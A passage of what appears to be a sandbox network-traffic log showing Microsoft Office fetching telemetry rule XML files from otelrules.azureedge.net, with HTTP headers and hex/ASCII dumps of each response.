2024-10-17 16:18:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	50574	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:38 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:38 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:38 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 038cab76-201e-00aa-04d8-1e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161838Z-16b659b4499jjs4wp9fdvw3np800000009z000000000ta71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:38 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	50570	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:38 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:38 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: b1f1bcc6-201e-0085-3fd8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161838Z-16b659b44994c5rr2b3ze9shcc000000095000000000t2kf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:38 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	50573	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:38 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:38 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:38 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 7ef1cc09-e01e-0051-19d8-1e84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161838Z-16b659b4499k2xzwvf7uk78sfs0000000aq000000000tp4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	50606	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:38 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:39 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a74dc4aa-801e-0047-54d8-1e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161839Z-16b659b4499r9jvzdsrvx9g86w00000008f0000000002h8p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:39 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	50637	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:39 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:39 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 783e43a6-401e-00ac-1ad8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161839Z-16b659b44992vd4bkk50pmnxt00000000bwg00000000c1bz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	50676	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:39 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:39 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 2b07ac6c-201e-003c-64d8-1e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161839Z-15b8d89586fqj7k5uht6e8nnew00000003h000000000p5d1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:39 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	50675	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:39 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:40 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 37bf9419-001e-0049-58d8-1e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161839Z-16b659b4499sg56vuc9t9dmdq40000000c300000000012kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:40 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	50677	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:39 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:40 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:39 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 90cb1d1e-701e-001e-57d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161839Z-16b659b4499gh2srh1fh903xkw0000000a0g000000008f8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:40 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	50741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:40 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:40 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:40 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a14dcc21-f01e-003f-11d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161840Z-16b659b4499lfw4zscvav76bhn00000008h00000000052n8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:40 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	50792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:40 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:41 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:40 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 619dcaab-b01e-005c-28d8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161840Z-16b659b4499rzdzwehs0w9w5d800000009eg000000007rr4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:41 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	50799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:40 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:41 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:40 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 0b052643-c01e-0079-407b-1fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161840Z-r197bdfb6b4qpk6v9629ad4b5s000000022g0000000097zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:41 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 